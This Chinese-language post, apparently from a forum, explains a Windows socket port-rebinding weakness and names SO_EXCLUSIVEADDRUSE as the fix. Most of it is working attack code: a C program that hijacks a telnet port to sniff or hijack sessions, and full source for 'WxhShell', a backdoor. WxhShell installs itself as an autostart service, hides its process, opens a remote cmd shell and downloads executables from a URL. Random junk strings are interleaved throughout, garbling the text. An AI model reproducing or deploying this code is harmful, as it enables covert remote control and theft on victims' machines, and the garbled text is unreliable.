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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N:U}b1$L6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =p.avAuSn H1U$ApD saddr.sin_family = AF_INET; bQ3<>e\%B e:
Sd#H! saddr.sin_addr.s_addr = htonl(INADDR_ANY); JR`$t~0t dnD@BQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >|%3j,<U [6l0|Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F;#$Q Y }VJ4!%U 这意味着什么?意味着可以进行如下的攻击: }'wZ)N@ $Be hU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c9 EtUv~ _$$.5?4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }w4OCN\1
)=GPhC/sw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #^VZJ:2=| @*vVc`; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 zl8M<z1`1 i=<;$+tW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5?H8?~&dz }6a}8EyFP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bEcN_7 *ilh/Hd> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )I*(yUj eV}" L:bgJ #include B\R X #include $#f_p-N #include 1#3|PA#> #include wyX3qH DWORD WINAPI ClientThread(LPVOID lpParam); w3q'n% int main() mTu>S { 9+9g (6 WORD wVersionRequested; \9`E17i DWORD ret; V.
i{IW WSADATA wsaData; &X:;B' BOOL val; =M-=94 SOCKADDR_IN saddr; vzs4tkG SOCKADDR_IN scaddr; fWJpy#/^*K int err; toGd;2rl SOCKET s; ?0:]%t18 SOCKET sc; tx
d0S! int caddsize; O#;sY`fy_M HANDLE mt; %bTuE' `b DWORD tid; pqO0M]} wVersionRequested = MAKEWORD( 2, 2 ); h%F.h![* err = WSAStartup( wVersionRequested, &wsaData ); 9l~D}5e7 if ( err != 0 ) { 6HBDs: printf("error!WSAStartup failed!\n"); R/"f return -1; RgV3, z } ?`e@ o? saddr.sin_family = AF_INET; GFLat a6vej //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _ab8z]H iw MxTty saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N4,oO H~ saddr.sin_port = htons(23); F<{,W-my ` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 55s5(]`d { P]n0L4c printf("error!socket failed!\n"); !y XGAg, return -1; ,u>LAo0 } s i2@k val = TRUE; 3);P!W4> //SO_REUSEADDR选项就是可以实现端口重绑定的 Mrgj*| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |oU I2<" { :z P:4NW printf("error!setsockopt failed!\n"); rM.Pc?Z return -1; .?s jr4 } J:W+'x`@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n[e C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ynM:]*~K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ./;uhj 94&t0j_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .F$}a% { F8<G9#%s\ ret=GetLastError(); ByP<-Deh printf("error!bind failed!\n"); !0hyp |F:> return -1; \E,2VM@6 } ?=4oxPe listen(s,2); =YVxQj while(1) !HU$V9C { YK{J"Kof caddsize = sizeof(scaddr); 'cc8xC //接受连接请求 $"NH{%95} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hfI=9x/ if(sc!=INVALID_SOCKET) x&DqTX?b, { 6bUP]^d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0,~s0]h0V if(mt==NULL) sAU%:W{ { &'i_A%V printf("Thread Creat Failed!\n"); bL* b>R[x break; Gr\jjf` } [;IE Z/ZX } L&s~j/pR CloseHandle(mt); {1Cnrjw } 75p9_)>96 closesocket(s); _!zc <&~I WSACleanup(); +`wr{kB$~ return 0; UfPB-EFl$D } k0=!%f_G! DWORD WINAPI ClientThread(LPVOID lpParam) 0qNmao4E_ { Wjq9f; SOCKET ss = (SOCKET)lpParam; !m:WoQ/ SOCKET sc; ;"IWm<]h;- unsigned char buf[4096]; Uv[a
~' SOCKADDR_IN saddr;
Hy:x.'i long num; $+J39%Y!^ DWORD val; FVl,
ttW DWORD ret; p@~Y[a = //如果是隐藏端口应用的话,可以在此处加一些判断 7.VP7;jys //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 p}sM"}Ul saddr.sin_family = AF_INET; VRY(@# q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Q
FsT saddr.sin_port = htons(23); 'Up75eT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RQWUO^&e^ { X%s5D&gr printf("error!socket failed!\n"); Z*w({k7] return -1; n:40T1:q } ,=C ipL9] val = 100; _+P*XY5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0
N7I:vJ { p/_W*0/i ret = GetLastError(); A@|Z^T: return -1; MVzj7~+ } p_BG#dRM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XGR63hXND { KB~1]cYMp ret = GetLastError(); "Cxj_V@\ return -1; 16eP7s } [dLc+h1{B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6!0NFP~b { _YR#J%xa printf("error!socket connect failed!\n"); eD7\ ,}O closesocket(sc); cHr]{@7Cs closesocket(ss); YIW9z{rrs return -1; X sJ`x } 'X+aYF}Ye while(1) H#GR*4x { pW8?EGO@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (9( xJ) //如果是嗅探内容的话,可以再此处进行内容分析和记录 %P1zb7:8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f5bX,e)! num = recv(ss,buf,4096,0); QE"$Lc) if(num>0) z5({A2q send(sc,buf,num,0); hoBFC1 else if(num==0) #]+BIr` break; 4d@0v n{ num = recv(sc,buf,4096,0); M6MxY\uM if(num>0) rMWvW(@@D send(ss,buf,num,0); a9lYX*: else if(num==0) i:
-IZL\ break; 7ojh=imY } qDswFs( closesocket(ss); !-qk1+<h closesocket(sc); o"RE4s\G~r return 0 ; _6.@^\; } Bz,D4E$ p=[dt O<!^^7/h0 ========================================================== 6C.!+km P[H`]q| 下边附上一个代码,,WXhSHELL n}Thc6f3D Rq(+zL(f ========================================================== +>ituJ ;w%g*S #include "stdafx.h" q{*[uJ}Xc" L
~Vw`C #include <stdio.h> V^qBbk%l>D #include <string.h> :/?
Op #include <windows.h> J.2BBy #include <winsock2.h> Yy[=E\z #include <winsvc.h> ^+~$eg&js #include <urlmon.h> y'f-4E< "AJ>pU3 #pragma comment (lib, "Ws2_32.lib") `$ bQ8$+Ci #pragma comment (lib, "urlmon.lib") jc6~V$3 nC/T$
#G #define MAX_USER 100 // 最大客户端连接数 "OUY^ cM #define BUF_SOCK 200 // sock buffer X+emJ&Z$@ #define KEY_BUFF 255 // 输入 buffer '%Oo1:wJ $?: -A #define REBOOT 0 // 重启 RToX[R;1E #define SHUTDOWN 1 // 关机 0=`aXb- z}5'TV=^ #define DEF_PORT 5000 // 监听端口 @AG=Eq9<o yF` (GU #define REG_LEN 16 // 注册表键长度 P'_ aNU #define SVC_LEN 80 // NT服务名长度 xop\W4s_ `,GFiTPd // 从dll定义API K24y;968 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q4ii25]* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IP !zg|c, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IMSm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QKz2ONV=) Q(8W5Fb? // wxhshell配置信息 c$A}mL_ struct WSCFG { e!i.u'z int ws_port; // 监听端口 =|- xj h char ws_passstr[REG_LEN]; // 口令 ,aWfGh#$ int ws_autoins; // 安装标记, 1=yes 0=no nYRD>S?uz char ws_regname[REG_LEN]; // 注册表键名 <N80MUL| char ws_svcname[REG_LEN]; // 服务名 g5Hsz,x char ws_svcdisp[SVC_LEN]; // 服务显示名 I GcR5/3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 S9/\L6Rmf char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DML0paOm5 int ws_downexe; // 下载执行标记, 1=yes 0=no 8^-g yx' char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 8r\xQr'8h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Eh_[8:dK #@5 jOi }; CA"`7<, n |,} // default Wxhshell configuration 4P24ySy9F struct WSCFG wscfg={DEF_PORT, Xw^:<Nx: "xuhuanlingzhe", DUm/0q& 1, 1^;&?E "Wxhshell", <* PjG}Z. "Wxhshell", xi\uLu?i "WxhShell Service", hi]\M)l&x "Wrsky Windows CmdShell Service", 6B?1d
/8V "Please Input Your Password: ", 0j/i):@ 1, ~ YZi"u " http://www.wrsky.com/wxhshell.exe", 8>:2li "Wxhshell.exe" HoM8V"8B }; VxAR,a1+n JY>I // 消息定义模块 wIbc8ze char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C$B?|oUJc char *msg_ws_prompt="\n\r? for help\n\r#>"; ;#"`]khd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Xg"Mjmr char *msg_ws_ext="\n\rExit."; LyXABQ] char *msg_ws_end="\n\rQuit."; 1hp@.Fv char *msg_ws_boot="\n\rReboot..."; @1[LD[< char *msg_ws_poff="\n\rShutdown..."; 9=~jKl%\vJ char *msg_ws_down="\n\rSave to "; )=D9L Ipmr@%~ char *msg_ws_err="\n\rErr!"; ==j39 char *msg_ws_ok="\n\rOK!";
UuA=qWC Y!s/uvRI char ExeFile[MAX_PATH]; 8c$IsvJg int nUser = 0; &l|B>{4v HANDLE handles[MAX_USER]; 9zd)[4%= int OsIsNt; (C QgT3V J.`.lQ$z SERVICE_STATUS serviceStatus; *XzUqK SERVICE_STATUS_HANDLE hServiceStatusHandle; u09OnP\ kp;MNRc // 函数声明 Z#W`0G>' int Install(void); L,X6L @Q int Uninstall(void); 9k"nx ," int DownloadFile(char *sURL, SOCKET wsh); #wm)e)2@ int Boot(int flag); \J\1i=a-= void HideProc(void); CblL1 q8 int GetOsVer(void); f%auz4CZz int Wxhshell(SOCKET wsl); /3Gv51' void TalkWithClient(void *cs); Qg oXOVo6 int CmdShell(SOCKET sock); eaiz
w@N int StartFromService(void); ~d5{Q?T) int StartWxhshell(LPSTR lpCmdLine); sQH.}W$C )d1,}o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T@HozZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); #QDV_ziE5 XJ NKM~ // 数据结构和表定义 ,wEM SERVICE_TABLE_ENTRY DispatchTable[] = {k]VT4/ { !kKKJ~,; {wscfg.ws_svcname, NTServiceMain}, y! 1NS {NULL, NULL} rC*n Z* }; (c*Dvpo1 S I(8.$1 // 自我安装 )*JTxMQ int Install(void) ;~q)^.K3 { O@Kr}8^, char svExeFile[MAX_PATH]; Ua3ERBX{ HKEY key; 9VY_gi=vL strcpy(svExeFile,ExeFile); ohyUvxvj p]g/iLDZ // 如果是win9x系统,修改注册表设为自启动 ?^+|V,< if(!OsIsNt) { q
B2#EsZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lJ,s}l7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |O+binq RegCloseKey(key); xO@OkCue if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p.IfJ| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e)bqE^JP RegCloseKey(key); 6%xl}z]o return 0; C]XDDr } &\K#UVDyhh } Bms?`7}N } ,?f(~<Aj else { V)Xcn'h zj)[Sntn? // 如果是NT以上系统,安装为系统服务 Kj>_XaFCg! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8ksDXf`. if (schSCManager!=0) V!=]a^]: { eK@Y] !lz SC_HANDLE schService = CreateService LMDa68 s ( 8+ W^t I schSCManager, )G|UB8] wscfg.ws_svcname, Mt:(w;Y wscfg.ws_svcdisp, `'QPe42 SERVICE_ALL_ACCESS, u@3w$"Pv1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZtT`_G& SERVICE_AUTO_START, pL-$Np] V SERVICE_ERROR_NORMAL, ={oO9.9 svExeFile, i
xyjl[G NULL, 1FX-#Y`e NULL, EkBM>*W NULL, mnia>;
0H NULL, J{ Vl2P?@ NULL 32Z4&~I ); BMW4E 5 if (schService!=0) ,O+7nByi[V { btE+.V CloseServiceHandle(schService); lb('r"*. CloseServiceHandle(schSCManager); NlMx!f>b%/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o_5@R+& strcat(svExeFile,wscfg.ws_svcname); s'^#[%EgB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Hqu`A/^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rG]Xgq" RegCloseKey(key); a`uT'g[* return 0; \CGcP } x@ O: } $b$D[4 CloseServiceHandle(schSCManager); }R x%&29& } 9+']`=a: } k|D!0^HE[ )wRD return 1; v>5F[0gE } GXl?Zg V_kE"W) // 自我卸载 sFTIRVXN, int Uninstall(void) Y(f-e, { 4Ojw&ys@V HKEY key; U{Z>y?V/ \v_C7R;& if(!OsIsNt) { ,d+mT^jN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2vC=.1k RegDeleteValue(key,wscfg.ws_regname); loJ0PY'}= RegCloseKey(key); wGH@I_cy> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DPOPRi~ RegDeleteValue(key,wscfg.ws_regname); 9vu8koL RegCloseKey(key); '3Ie0QO]"% return 0; s$_#T } A.b#r[ } ^xwFjQXx } oX~CTunP else { wW4S@m &?nF';& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1^3#3duV if (schSCManager!=0) S8VR# { A@OV!DJe] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1c!},O if (schService!=0) ap~Iz { xTMTkVa+B if(DeleteService(schService)!=0) { [)A#9L~s= CloseServiceHandle(schService); *&]l CloseServiceHandle(schSCManager); 2LU'C,o? return 0; P>-,6a> } ?
h%+2 CloseServiceHandle(schService); =.a ]?&Yyh } M6sDtL9l CloseServiceHandle(schSCManager); 08a|]li } [Bo$? } KF)i66 3D0I5LF& return 1; val<N293L> } (T01hR& j+hoj2( // 从指定url下载文件 b*KZe[#M1 int DownloadFile(char *sURL, SOCKET wsh) $wTX { b3lpNJ J HRESULT hr; KoJG!Rm char seps[]= "/"; r
`dU
(T! char *token; Tt|6N*b' char *file; *
U4:K@y char myURL[MAX_PATH]; sBnPS[Oo char myFILE[MAX_PATH]; beE%%C]X <*(R+to^d strcpy(myURL,sURL); @`D6F;R token=strtok(myURL,seps); s_!Z+D$K while(token!=NULL) ~x:]ch| { -;$/< file=token; =1\wZuK# token=strtok(NULL,seps); .<%M8rcj } ud D[hPJd ]s@8I2_ GetCurrentDirectory(MAX_PATH,myFILE); #7h fEAk strcat(myFILE, "\\"); V&H8-,7z strcat(myFILE, file); (02(:;1 send(wsh,myFILE,strlen(myFILE),0); w>_EM&r6~u send(wsh,"...",3,0); nh)R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `F 8;{`a if(hr==S_OK) w.p'Dpw return 0; t8 "-zd8 else "lf3hWGw return 1; _ZBR<{ .~
lt+M9 } qI*1+R} :j<JZs>`R // 系统电源模块 ZiYzsn int Boot(int flag) 0\@|M @X= { C/Bx_j(( HANDLE hToken; ?
M_SNv TOKEN_PRIVILEGES tkp; 79g>7<vp 0f/!|c if(OsIsNt) { ,
% jTXb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oH0F9*+W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3G|fo4g tkp.PrivilegeCount = 1; Y26l,XIV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `0|&T;7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8T
)ELhTj if(flag==REBOOT) { JSK5x(GlH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -U[`pUY?f return 0; $ n[7 } Z8 %\v(L else { }#5roNH~Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C/XyDbH return 0; h##?~!xDmq } y4rJ- } Z3>3&|& else { _)2TLA
n3 if(flag==REBOOT) { >Eg .c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hpV
/F return 0; }A/&]1GWk } 6F/
OlK< else { jYID44$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yc=#Jn?S return 0; q<[ke
} U]
-@yx } f?zK" ./ y[<e return 1; -01 1U! } 6-14Htsk6
0lr4d Y // win9x进程隐藏模块 {<4?o?
1g void HideProc(void) 6@;L$QYY-V { _|wY[YJ[ x~Ly$A2p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z)T@`B6
if ( hKernel != NULL ) ?V:]u3 { `+Z#*lj|@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o\;"|O} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mW0&uSMD FreeLibrary(hKernel); ieRBD6_ } ;}jbdS3 tSc>@Q_| return; r9a!,^}F } '#
IuY !XA%[u // 获取操作系统版本 !2U7gVt"* int GetOsVer(void) Mth`s{sATa { @j2*.ee OSVERSIONINFO winfo; }rA+W-7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mYOdBd GetVersionEx(&winfo); )LrCoI =| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ( WtE`f;Q return 1; +\[![r^P else `e'o~oSu return 0; .O%1)p } CSqb)\8Oi* )bXx9,VL // 客户端句柄模块 akc"}+-oX int Wxhshell(SOCKET wsl) r,@X>_} { qb&NS4# SOCKET wsh; eTRx 6Fri( struct sockaddr_in client; <Bb<?7q$ld DWORD myID; n5*{hi +IO1ipc4cE while(nUser<MAX_USER) <Dj$0g { +6M+hO] int nSize=sizeof(client); 0H&U=9'YT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ji)4WG/1 if(wsh==INVALID_SOCKET) return 1; 2DCcGKa" o- QG&
] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K!D!b'|bb if(handles[nUser]==0) !0csNg! closesocket(wsh); R{xyme@"^ else $aPHl nUser++; [gh[F } LXu"rfp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %v+fN?%x,d ]1|Ql*6y, return 0; nL(%&z \4 } +b,31 xAd>",=~ // 关闭 socket m`\i+ void CloseIt(SOCKET wsh) PVS<QN% { )4L%zl7 closesocket(wsh); V3A>Ag+^~ nUser--; ['Y+z2k ExitThread(0); |RAQ% VXm } :CkR4J!m3 o=RqegL // 客户端请求句柄 +65~,e void TalkWithClient(void *cs) 4lh
{ p-'6_\F.Ke NzeI/f3K5 SOCKET wsh=(SOCKET)cs; Y:"v=EhB char pwd[SVC_LEN]; ]D) 'I` char cmd[KEY_BUFF]; m!#)JFe67 char chr[1]; M$]O=2h+2 int i,j; B`?N0t%X VmOFX:j!, while (nUser < MAX_USER) { bDFCZH-:'O (&P0la1 if(wscfg.ws_passstr) { 0nD=|W\@{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qv0
DrL,3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Elj"Iiu //ZeroMemory(pwd,KEY_BUFF); o,Tr^e$ i=0; )_c=mT while(i<SVC_LEN) { EB29vHAt~ dp[w?AMhM9 // 设置超时 B/sBYVU fd_set FdRead; [*?_ struct timeval TimeOut; rxy{a FD_ZERO(&FdRead); |:e|~sism FD_SET(wsh,&FdRead); H?`)[# TimeOut.tv_sec=8; ^L8Wn6s' TimeOut.tv_usec=0; <h@z=ijN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l\=-+'Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~[uV CmJ?_> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =, C9O pwd =chr[0]; 3u?`q%Y-e if(chr[0]==0xd || chr[0]==0xa) { FfYd+]+? pwd=0; E &];>3C break; s=nVoc{Yt } ,h@R' f! i++; 0Y6q$h>4 } gP%|:" r{q}f) // 如果是非法用户,关闭 socket Q9yGQu if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =~\]3g } Xb<DpBrk I NPYJ#% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^)hAVf~E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }#ep}h
#j^('K| while(1) { >9.5-5" h5&/hBN ZeroMemory(cmd,KEY_BUFF); %su}Ru F%PwIB~cy // 自动支持客户端 telnet标准 0HHui7Yy> j=0; uOG-IHuF while(j<KEY_BUFF) { 43J\8WBn@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $c@w$2 cmd[j]=chr[0]; j Ne(w<',P if(chr[0]==0xa || chr[0]==0xd) { GJIWG&C03 cmd[j]=0; %_b^!FR break; {*?sVAvj } @q> ktE_ j++; V\@jC\-5Vt } <DeKs?v Ue{vg$5|| // 下载文件 2/yXY_L if(strstr(cmd,"http://")) { e$Xq send(wsh,msg_ws_down,strlen(msg_ws_down),0); IP30y>\ if(DownloadFile(cmd,wsh)) S]e j=6SP send(wsh,msg_ws_err,strlen(msg_ws_err),0); d)04;[= else fjIcB+Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _e?q4>B)c } 4?>18%7& else { I!$jYY2 Ic[}V0dk switch(cmd[0]) { 49+ >f pKt-R07* // 帮助 )YzH k ;( case '?': { XMN?;Hj> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6o=qJ`m[? break;
JJ/1daj } ,&.W6sW // 安装 Z0[)u_< case 'i': { )%iRZ\`f if(Install()) J Q)4}t send(wsh,msg_ws_err,strlen(msg_ws_err),0); JkSdLj else yaH
Trh% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -ajM5S=d* break; IPl@ DH }
SwdC, // 卸载 6X@mPj[/ case 'r': { 10C 2= if(Uninstall()) ;YK!EMM4!h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Yj"RM$;N else Q'Jv}'eK_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ni2]6U break; 9z5"y|$ } ,c4c@|Bh? // 显示 wxhshell 所在路径 `6a]|7|f case 'p': { lpl8h4d char svExeFile[MAX_PATH]; s<A*[ strcpy(svExeFile,"\n\r"); b!i`o%Vb strcat(svExeFile,ExeFile); e#>tM send(wsh,svExeFile,strlen(svExeFile),0); T*h!d(
break; D4< -8 } ss?] // 重启 S5i+vUI8C case 'b': { nK+lE0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HQq`pG%m6 if(Boot(REBOOT)) t*{,Gk send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![^EsgEB* else { z 0~j closesocket(wsh); 9pWi.J ExitThread(0); #F_'}?09% } ET U-]R 3 break; z>4D~HX } W8f`J2^"M // 关机 BJ~ivT< case 'd': { {5T0RL{\N send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9*#$0Y= if(Boot(SHUTDOWN)) _h0- send(wsh,msg_ws_err,strlen(msg_ws_err),0); c {1V. else { ?22d},. closesocket(wsh); PC*m%
?+ ExitThread(0); CN$I:o04C } `5~7IPl3 break; YecT 96% } ?qk@cKS // 获取shell :3JCvrq case 's': { n
vm^k CmdShell(wsh); p3g4p closesocket(wsh); Xo2^N2I ExitThread(0); hlX>K break; ($c`s8mp } 9160L qY // 退出 b.QpHrnhtK case 'x': { vFTXTbt'h send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A2Q[%A CloseIt(wsh); M]c7D`%s break; YzVN2f!n } "37*A<+f // 离开 +H7y/#e+3 case 'q': { /:U1!9.y send(wsh,msg_ws_end,strlen(msg_ws_end),0); AlO,o[0 closesocket(wsh); ^w>&?A'! WSACleanup(); f2NA=%\ exit(1); p~h4\.*` break; ]bIt@GB } =M/qV } gW kjUz) } |V lMmaz S#k{e72 * // 提示信息 .>P~uZiX! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !~WZ_z } *2`:VFEV } ^%;" [r [q'eENG return; v{o? #Sk1 } g^jJ8k,7( ~]&B>q // shell模块句柄 dsV ~|D6: int CmdShell(SOCKET sock) 3c b[RQf { =nzFd-P STARTUPINFO si; %*6RzJO6 ZeroMemory(&si,sizeof(si)); sc%dh?m7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `4LJ;KC( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;d4y{ PROCESS_INFORMATION ProcessInfo; 6z Ay)~ char cmdline[]="cmd"; Jz0K}^Dj[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "=qv#mZ#9 return 0; X<Z(]`i } _
\l
HI K5{{:NR$ // 自身启动模式 gV|Y54}T int StartFromService(void) \7yJ\I { v; Es^
YI typedef struct G.Tpl-m { y1iX!m~) DWORD ExitStatus; 8'KMxR DWORD PebBaseAddress; ijFV<P DWORD AffinityMask; zj{(p Z1 DWORD BasePriority; G]-%AO{K ULONG UniqueProcessId; ;}D-:J-z_ ULONG InheritedFromUniqueProcessId; Qwv '< } PROCESS_BASIC_INFORMATION; 9\AS@SH{^T wlr Ign% PROCNTQSIP NtQueryInformationProcess; 7H%_sw5S. ]U[&uymax static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =5ug\S static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ u+|=x]; Y''6NGf HANDLE hProcess; a%E8(ms37y PROCESS_BASIC_INFORMATION pbi; M6_-f ;. r{S=Z~J HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =U NT.] if(NULL == hInst ) return 0; )pS8{c)E g2=}G <*0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !lhFKb;
